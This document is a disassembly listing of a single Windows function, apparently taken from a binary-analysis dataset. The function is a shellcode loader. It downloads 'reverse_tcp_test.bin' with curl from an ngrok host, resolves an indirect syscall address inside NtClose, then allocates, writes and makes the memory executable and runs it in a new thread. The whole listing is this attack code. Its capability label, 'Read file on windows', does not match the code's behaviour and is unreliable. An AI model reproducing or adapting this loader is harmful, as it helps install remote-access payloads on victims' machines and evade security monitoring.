Function at 0x140001070
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x190], rax
mov rdi, rdx
mov ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov r14, rax
cmp ebx, 1
jle 0x1400010c4
movzx ecx, byte [rdi + 8]
mov byte [0x140005074], cl
jmp 0x1400010cb
movzx ecx, byte [0x140005074]
cmp cl, 1
jne 0x1400010dc
lea rcx, str.___downloading_payload..._n
call fcn.140001010
mov ecx, 0x1cc
mov byte [rbp - 0x60], 0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea rdx, [0x1400032c8]
mov rsi, rax
lea rcx, str.curl_https:__puma_capital_unicorn.ngrok_free.app_reverse_tcp_test.bin___silent
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rdi, rax
test rax, rax
jne 0x14000114a
movzx eax, byte [0x140005074]
cmp al, 1
jne 0x1400014c4
lea rcx, str.____popen___failed_n
call fcn.140001010
movzx eax, byte [0x140005074]
cmp al, 1
jne 0x1400014c4
lea rcx, str.____could_not_get_payload_n
call fcn.140001010
mov eax, 1
jmp 0x140001540
mov edx, 1
lea rcx, [rbp - 0x60]
mov r8d, edx
mov r9, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test rax, rax
je 0x140001194
mov rbx, rsi
nop word [rax + rax]
movzx eax, byte [rbp - 0x60]
lea rcx, [rbp - 0x60]
mov edx, 1
mov byte [rbx], al
mov r8d, edx
lea rbx, [rbx + 1]
mov r9, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test rax, rax
jne 0x140001170
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov rdx, rsi
lea r8, [rbp - 0x40]
mov eax, 3
nop dword [rax]
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rdx]
lea rdx, [rdx + 0x80]
movups xmmword [r8 - 0x80], xmm0
movups xmm1, xmmword [rdx - 0x70]
movups xmmword [r8 - 0x70], xmm1
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [r8 - 0x60], xmm0
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [r8 - 0x50], xmm1
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [r8 - 0x40], xmm0
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [r8 - 0x30], xmm1
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [r8 - 0x20], xmm0
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [r8 - 0x10], xmm1
sub rax, 1
jne 0x1400011b0
movups xmm0, xmmword [rdx]
mov rcx, rsi
movups xmmword [r8], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [r8 + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [r8 + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [r8 + 0x30], xmm1
mov rax, qword [rdx + 0x40]
mov qword [r8 + 0x40], rax
mov eax, dword [rdx + 0x48]
mov dword [r8 + 0x48], eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor esi, esi
cmp byte [0x140005074], 1
jne 0x1400012b8
mov edx, 0x1cc
lea rcx, str.___got_payload___zu_bytes_:_n
call fcn.140001010
cmp byte [0x140005074], 1
jne 0x1400012b8
lea rcx, [0x1400033a0]
call fcn.140001010
mov ebx, esi
lea rdi, [rbp - 0x40]
nop dword [rax]
test bl, 0x1f
jne 0x140001290
lea rcx, str._n__02x
test ebx, ebx
jne 0x140001297
lea rcx, str.__02x
movzx edx, byte [rdi]
call fcn.140001010
inc ebx
inc rdi
cmp ebx, 0x1cc
jl 0x140001280
lea rcx, [0x1400033b4]
call fcn.140001010
mov qword [rbp - 0x58], 0x1cc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x30
lea rcx, str.NTDLL
mov qword [rsp + 0x78], rsi
movups xmmword [rbp - 0x80], xmm0
mov rbx, rax
mov qword [rsp + 0x60], rsi
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x50], rsi
mov qword [rsp + 0x68], rsi
mov dword [rbp - 0x5c], 4
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtClose
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rax, 0x12
cmp byte [0x140005074], 1
mov qword [0x140005680], rax
jne 0x140001336
mov rdx, rax
lea rcx, str.___syscall_address____0x_p_n
call fcn.140001010
mov dword [rsp + 0x28], 4
lea r9, [rbp - 0x58]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.14000157f
test eax, eax
je 0x140001383
cmp byte [0x140005074], 1
jne 0x1400014c4
lea rcx, str.____could_not_allocate_memory__error:_0x_lx_n
mov edx, eax
call fcn.140001010
mov eax, 1
jmp 0x140001540
cmp byte [0x140005074], 1
jne 0x1400013a2
mov r8, qword [rsp + 0x60]
lea rcx, str.___allocated__zu_bytes_at____0x_p_n
mov edx, 0x1cc
call fcn.140001010
mov rdx, qword [rsp + 0x60]
lea rax, [rbp - 0x50]
mov r9d, 0x1cc
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x40]
mov rcx, rbx
call fcn.14000158e
test eax, eax
je 0x1400013eb
cmp byte [0x140005074], 1
jne 0x1400014c4
lea rcx, str.____could_not_write_memory__error:_0x_lx_n
mov edx, eax
call fcn.140001010
mov eax, 1
jmp 0x140001540
cmp byte [0x140005074], 1
jne 0x140001405
mov edx, 0x1cc
lea rcx, str.___wrote__zu_bytes_n
call fcn.140001010
lea rax, [rbp - 0x5c]
mov qword [rbp - 0x58], 0x1cc
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x58]
mov rcx, rbx
lea rdx, [rsp + 0x60]
call fcn.14000159d
test eax, eax
je 0x140001456
cmp byte [0x140005074], 1
jne 0x1400014c4
lea rcx, str.____could_not_change_perms__error:_0x_lx_n
mov edx, eax
call fcn.140001010
mov eax, 1
jmp 0x140001540
cmp byte [0x140005074], 1
jne 0x14000146b
lea rcx, str.___perms_changed_to_execute_read_n
call fcn.140001010
mov rax, qword [rsp + 0x60]
lea r8, [rsp + 0x70]
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rsi
mov r9, rbx
mov qword [rsp + 0x40], rsi
mov edx, 0x1fffff
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
call fcn.1400015ac
test eax, eax
je 0x1400014cb
cmp byte [0x140005074], 1
jne 0x1400014c4
lea rcx, str.____could_create_thread__error:_0x_lx_n
mov edx, eax
call fcn.140001010
mov eax, 1
jmp 0x140001540
cmp byte [0x140005074], 1
jne 0x1400014e5
mov rdx, qword [rsp + 0x68]
lea rcx, str.___created_thread____0x_p_n
call fcn.140001010
mov edx, 0xb
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
call fcn.1400015bb
cmp byte [0x140005074], 1
jne 0x14000152c
lea rcx, str.___thread_finished_n
call fcn.140001010
cmp byte [0x140005074], 1
jne 0x14000152c
lea rcx, str.___cleaning_up..._n
call fcn.140001010
mov rcx, qword [rsp + 0x68]
call fcn.1400015ca
mov rcx, rbx
call fcn.1400015ca
xor eax, eax
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.1400015f0
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret